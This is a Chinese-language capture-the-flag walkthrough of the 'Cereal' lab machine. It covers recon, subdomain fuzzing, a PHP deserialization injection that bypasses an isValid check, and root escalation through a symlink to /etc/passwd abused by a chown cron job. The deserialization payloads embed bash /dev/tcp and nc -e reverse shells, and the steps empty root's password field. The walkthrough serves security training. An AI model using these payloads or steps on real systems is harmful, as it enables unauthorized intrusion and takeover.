一:信息收集
1:主机发现
2:端口扫描
3:敏感目录扫描
二:外部信息
1:先试试ftp登录
nmap扫到的结果显示它支持匿名登录
df4770f645f9ba25c8b90c55760e82950d6245c0ad78ce8ddcdbd6c4947b1da2
没发现什么东西
2:http登录
发现一个域名
cereal.ctf
扫一下目录
sudo gobuster dir -u http://10.4.7.141 -t 20 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep ""
没有东西,扫一下主机
先将域名写入host文件
C:\Windows\System32\drivers\etc
sudo vim /etc/host/
echo '10.4.7.141 cereal.ctf' >> /etc/hosts
source /etc/hosts
sudo gobuster vhost -u http://cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep "Status: 200"
sudo wfuzz -H 'HOST: FUZZ.cereal.ctf:44441' -u 'http://10.4.7.141:44441' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 2,45
发现子域名secure
成功探测到子域信息,将子域添加到/etc/hosts
echo '10.4.7.141 secure.cereal.ctf' >> /etc/host
gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/dir_big.txt -t 100 -e
ffuf -c -w /usr/share/wordlists/dirbuster/dir_big.txt -u http://secure.cereal.ctf:44441/FUZZ
发现一个序列化serialize函数
爆破一下目录
gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/wordlists/dirb/small.txt -t 200
扫到一个目录,发现无法访问
403拒绝访问
继续爆破该目录下文件,发现源码文件
gobuster dir -r -u http://secure.cereal.ctf:44441/back_en -w /usr/share/wordlists/dirb/small.txt -t 200
gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/wordlists/rockyou.txt -t 200
http://secure.cereal.ctf:44441/back_en/index.php.bak
pingTest这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它一定都会进入 if 模块。该模块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法
序列化源码
先抓包看看它的参数在哪
尝试在反序列化中尝试写入反弹 shell,把 ping 的地址替换成反弹 shell
但是在代码中存在一个 bug ,那就是如果 isValid 这个参数为 True,则不进行验证,也就是说我们可以构造序列化字符,将 isValid 参数置为 True
O:8:“pingTest”:2:{s:9:“ipAddress”;s:65:“127.0.0.1|bash -c ‘bash -i >& /dev/tcp/10.4.7.141/7777 0>&1’”;s:7:“isValid”;s:4:“True”;}
编码后发送,同时开启监听
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A43%3A%22127.0.0.1+%26+nc+-e+%2Fbin%2Fbash+10.4.7.128+1234%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
监听成功,升级一下shell
SHELL=bash script -q /dev/null
三:提权
find / -perm -4000 -type f 2>/dev/null
尝试使用sudo -l查找可以执行命令,使用find / -perm -4000 -type f 2>/dev/null查找可疑文件,但是未发现可以利用的命令和可疑的特殊文件。
用到pspy64 工具让我们可以在没有特权的情况下看到linux系统上的所有进程。
python3 -m http.server 80
wget 10.4.7.128/pspy64
nc -lvnp 10086 > pspy64
nc 10.4.7.141 10086 < pspy64 -w 1
chmod +x pspy64
./pspy64
GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions
不过并没有权限修改和执行,但是这个脚本可以更改位于用户 rocky 的主目录中的文件 public_html 内容的所有者
发现 了一个看起来可疑的进程,它会周期性的把/home/rocky/public_html/
目录下的所有文件,设置拥有者为rocky,所有组为apache,而且所有组对目录下的文件有可写权限
ls -la /usr/share/scripts/chown.sh
cat /usr/share/scripts/chown.sh
软链接提权
软链接相当于 windows 中的快捷方式
当一个文件是另一个文件的软链接时(例如:A 是 B 文件的软链接,A 的根是 B),当我们修改这个文件的属主属组时(A),改的并不是这个文件的,而是它所链接的源文件(B)
通过信息收集,我们发现 /etc/passwd 文件可以被它的属主属组修改,所以准备通过软链接以及 chown.sh 修改它的属主属组
ln -s /etc/passwd /home/rocky/public_html/passwd
ls -la /home/rocky/public_html/passwd
现在已经可以修改 /etc/passwd 文件了
/etc/passwd 文件中的 x 是保存加密密码的地方。因此,如果我从该行中删除了 x ,也就是删除 root 用户的密码身份验证:
但是会发现键位错乱
先将该文件放到web 目录下,方便下载
cp /etc/passwd /var/www/html/blog
本机下载
wget http://secure.cereal.ctf/blog/passwd
wget 10.4.7.128/passwd
cp passwd.1 /etc/passwd
成功提权